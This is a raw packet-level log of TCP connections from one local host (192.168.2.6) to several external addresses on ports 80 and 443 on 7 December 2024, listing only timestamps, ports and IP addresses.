Dec 7, 2024 22:40:48.149286985 CET	49821	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:48.149302006 CET	443	49821	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:48.881963015 CET	443	49816	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:48.882514000 CET	49816	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:48.882534027 CET	443	49816	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:48.882970095 CET	49816	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:48.882975101 CET	443	49816	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:48.999675989 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:48.999788046 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:49.043386936 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:49.162878990 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:49.201020956 CET	443	49819	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:49.201446056 CET	49819	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:49.201472044 CET	443	49819	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:49.201661110 CET	443	49818	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:49.201782942 CET	443	49820	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:49.202020884 CET	49819	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:49.202027082 CET	443	49819	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:49.202307940 CET	49818	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:49.202328920 CET	443	49818	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:49.202531099 CET	49820	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:49.202547073 CET	443	49820	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:49.202788115 CET	49818	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:49.202792883 CET	443	49818	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:49.203149080 CET	49820	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:49.203154087 CET	443	49820	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:49.316073895 CET	443	49816	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:49.316143036 CET	443	49816	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:49.316232920 CET	49816	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:49.316450119 CET	49816	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:49.316463947 CET	443	49816	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:49.316473961 CET	49816	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:49.316478968 CET	443	49816	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:49.318968058 CET	49822	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:49.318996906 CET	443	49822	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:49.319071054 CET	49822	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:49.319195986 CET	49822	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:49.319210052 CET	443	49822	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:49.482639074 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:49.482695103 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:49.482785940 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:49.596853018 CET	443	49817	20.198.118.190	192.168.2.6
Dec 7, 2024 22:40:49.596930027 CET	49817	443	192.168.2.6	20.198.118.190
Dec 7, 2024 22:40:49.600740910 CET	49817	443	192.168.2.6	20.198.118.190
Dec 7, 2024 22:40:49.600748062 CET	443	49817	20.198.118.190	192.168.2.6
Dec 7, 2024 22:40:49.601015091 CET	443	49817	20.198.118.190	192.168.2.6
Dec 7, 2024 22:40:49.602574110 CET	49817	443	192.168.2.6	20.198.118.190
Dec 7, 2024 22:40:49.602638006 CET	49817	443	192.168.2.6	20.198.118.190
Dec 7, 2024 22:40:49.602643013 CET	443	49817	20.198.118.190	192.168.2.6
Dec 7, 2024 22:40:49.602765083 CET	49817	443	192.168.2.6	20.198.118.190
Dec 7, 2024 22:40:49.635139942 CET	443	49819	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:49.635215998 CET	443	49819	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:49.635270119 CET	49819	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:49.635442972 CET	49819	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:49.635461092 CET	443	49819	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:49.635472059 CET	49819	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:49.635478020 CET	443	49819	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:49.635899067 CET	443	49818	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:49.635960102 CET	443	49818	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:49.636008978 CET	49818	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:49.636128902 CET	49818	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:49.636146069 CET	443	49818	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:49.636157990 CET	49818	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:49.636163950 CET	443	49818	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:49.636255980 CET	443	49820	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:49.636332035 CET	443	49820	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:49.636373043 CET	49820	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:49.636497974 CET	49820	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:49.636514902 CET	443	49820	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:49.636523962 CET	49820	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:49.636529922 CET	443	49820	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:49.638786077 CET	49823	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:49.638813019 CET	49824	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:49.638824940 CET	443	49823	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:49.638843060 CET	443	49824	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:49.638910055 CET	49824	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:49.638973951 CET	49823	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:49.639036894 CET	49823	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:49.639051914 CET	443	49823	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:49.639130116 CET	49824	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:49.639144897 CET	443	49824	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:49.639468908 CET	49825	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:49.639503002 CET	443	49825	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:49.639554024 CET	49825	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:49.639667988 CET	49825	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:49.639682055 CET	443	49825	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:49.647326946 CET	443	49817	20.198.118.190	192.168.2.6
Dec 7, 2024 22:40:49.674370050 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:49.674422026 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:49.674478054 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:49.674499035 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:49.676702976 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:49.797354937 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:49.863820076 CET	443	49821	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:49.864305973 CET	49821	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:49.864325047 CET	443	49821	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:49.864815950 CET	49821	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:49.864820957 CET	443	49821	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:50.120846987 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:50.120981932 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:50.132646084 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:50.252280951 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:50.276382923 CET	443	49817	20.198.118.190	192.168.2.6
Dec 7, 2024 22:40:50.276468992 CET	443	49817	20.198.118.190	192.168.2.6
Dec 7, 2024 22:40:50.276523113 CET	49817	443	192.168.2.6	20.198.118.190
Dec 7, 2024 22:40:50.276711941 CET	49817	443	192.168.2.6	20.198.118.190
Dec 7, 2024 22:40:50.276726007 CET	443	49817	20.198.118.190	192.168.2.6
Dec 7, 2024 22:40:50.299451113 CET	443	49821	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:50.299540997 CET	443	49821	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:50.299592972 CET	49821	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:50.299734116 CET	49821	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:50.299755096 CET	443	49821	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:50.299771070 CET	49821	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:50.299777031 CET	443	49821	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:50.302443027 CET	49826	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:50.302476883 CET	443	49826	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:50.302551985 CET	49826	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:50.302776098 CET	49826	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:50.302788973 CET	443	49826	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:51.059140921 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:51.059205055 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:51.086411953 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:51.206101894 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:51.379534960 CET	443	49822	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:51.380040884 CET	49822	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:51.380055904 CET	443	49822	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:51.380506992 CET	49822	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:51.380511045 CET	443	49822	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:51.383208990 CET	443	49823	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:51.383449078 CET	49823	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:51.383466959 CET	443	49823	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:51.383804083 CET	49823	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:51.383814096 CET	443	49823	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:51.385458946 CET	443	49825	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:51.385476112 CET	443	49824	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:51.385720015 CET	49825	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:51.385744095 CET	443	49825	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:51.385812044 CET	49824	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:51.385826111 CET	443	49824	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:51.386149883 CET	49825	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:51.386156082 CET	443	49825	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:51.386204958 CET	49824	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:51.386209965 CET	443	49824	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:51.540298939 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:51.540410042 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:51.544296980 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:51.663822889 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:51.663917065 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:51.664047956 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:51.783632040 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:51.813801050 CET	443	49822	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:51.813870907 CET	443	49822	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:51.813925982 CET	49822	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:51.814085960 CET	49822	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:51.814102888 CET	443	49822	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:51.814114094 CET	49822	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:51.814119101 CET	443	49822	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:51.816579103 CET	49828	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:51.816618919 CET	443	49828	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:51.816694975 CET	49828	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:51.816956997 CET	49828	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:51.816972017 CET	443	49828	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:51.819886923 CET	443	49824	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:51.819976091 CET	443	49824	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:51.820004940 CET	443	49823	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:51.820023060 CET	49824	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:51.820060968 CET	443	49823	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:51.820096970 CET	49824	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:51.820111990 CET	443	49824	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:51.820116997 CET	49823	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:51.820123911 CET	49824	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:51.820128918 CET	443	49824	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:51.820188999 CET	49823	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:51.820188999 CET	49823	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:51.820204020 CET	443	49823	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:51.820214033 CET	443	49823	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:51.822412014 CET	49829	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:51.822444916 CET	443	49829	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:51.822487116 CET	49830	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:51.822496891 CET	443	49830	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:51.822519064 CET	49829	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:51.822541952 CET	49830	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:51.822628975 CET	49829	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:51.822642088 CET	443	49829	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:51.822706938 CET	49830	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:51.822716951 CET	443	49830	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:51.824166059 CET	443	49825	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:51.824193001 CET	443	49825	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:51.824233055 CET	49825	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:51.824242115 CET	443	49825	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:51.824387074 CET	49825	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:51.824399948 CET	443	49825	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:51.824407101 CET	49825	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:51.824536085 CET	443	49825	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:51.824573994 CET	443	49825	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:51.824609041 CET	49825	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:51.826129913 CET	49831	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:51.826138020 CET	443	49831	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:51.826210976 CET	49831	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:51.826324940 CET	49831	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:51.826333046 CET	443	49831	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:52.480761051 CET	443	49826	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:52.481297016 CET	49826	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:52.481318951 CET	443	49826	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:52.481772900 CET	49826	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:52.481779099 CET	443	49826	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:52.914686918 CET	443	49826	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:52.914764881 CET	443	49826	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:52.914868116 CET	49826	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:52.915086031 CET	49826	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:52.915107965 CET	443	49826	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:52.915117979 CET	49826	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:52.915123940 CET	443	49826	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:52.918024063 CET	49832	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:52.918068886 CET	443	49832	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:52.918158054 CET	49832	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:52.918325901 CET	49832	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:52.918337107 CET	443	49832	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:52.995475054 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:52.995544910 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:52.995559931 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:52.995587111 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:52.995878935 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:52.995927095 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:52.995971918 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:52.995985985 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:52.996014118 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:52.996042013 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:52.996151924 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:52.996186972 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:52.996731997 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:52.996779919 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:52.996835947 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:52.996854067 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:52.996897936 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:52.998780966 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:52.998827934 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.115345001 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.115432024 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.115434885 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.115544081 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.119272947 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.119343996 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.119359970 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.119412899 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.127504110 CET	49833	443	192.168.2.6	20.198.118.190
Dec 7, 2024 22:40:53.127547026 CET	443	49833	20.198.118.190	192.168.2.6
Dec 7, 2024 22:40:53.127624989 CET	49833	443	192.168.2.6	20.198.118.190
Dec 7, 2024 22:40:53.128213882 CET	49833	443	192.168.2.6	20.198.118.190
Dec 7, 2024 22:40:53.128232956 CET	443	49833	20.198.118.190	192.168.2.6
Dec 7, 2024 22:40:53.187947989 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.188016891 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.188043118 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.188087940 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.192166090 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.192217112 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.192248106 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.192291975 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.200511932 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.200571060 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.200637102 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.200680971 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.208848953 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.208904982 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.208935022 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.208977938 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.217268944 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.217329979 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.217478991 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.217521906 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.225630999 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.225702047 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.225717068 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.225759029 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.234060049 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.234134912 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.234158993 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.234199047 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.242486954 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.242544889 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.242588043 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.242608070 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.250771046 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.250849009 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.250884056 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.250921011 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.259129047 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.259205103 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.259219885 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.259258032 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.266364098 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.266432047 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.266446114 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.266484022 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.273535013 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.273607969 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.379934072 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.380047083 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.380053043 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.380108118 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.382155895 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.382210970 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.382249117 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.382292986 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.385682106 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.385736942 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.385768890 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.385813951 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.390197039 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.390252113 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.390295982 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.390413046 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.394692898 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.394783020 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.394803047 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.394857883 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.399265051 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.399276972 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.399329901 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.403808117 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.403909922 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.403915882 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.403958082 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.408262968 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.408389091 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.408411980 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.408423901 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.412831068 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.412904024 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.412935019 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.412954092 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.417375088 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.417453051 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.417608023 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.417664051 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.421864033 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.421912909 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.421992064 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.422036886 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.426394939 CET	80	49827	185.215.113.16	192.168.2.6
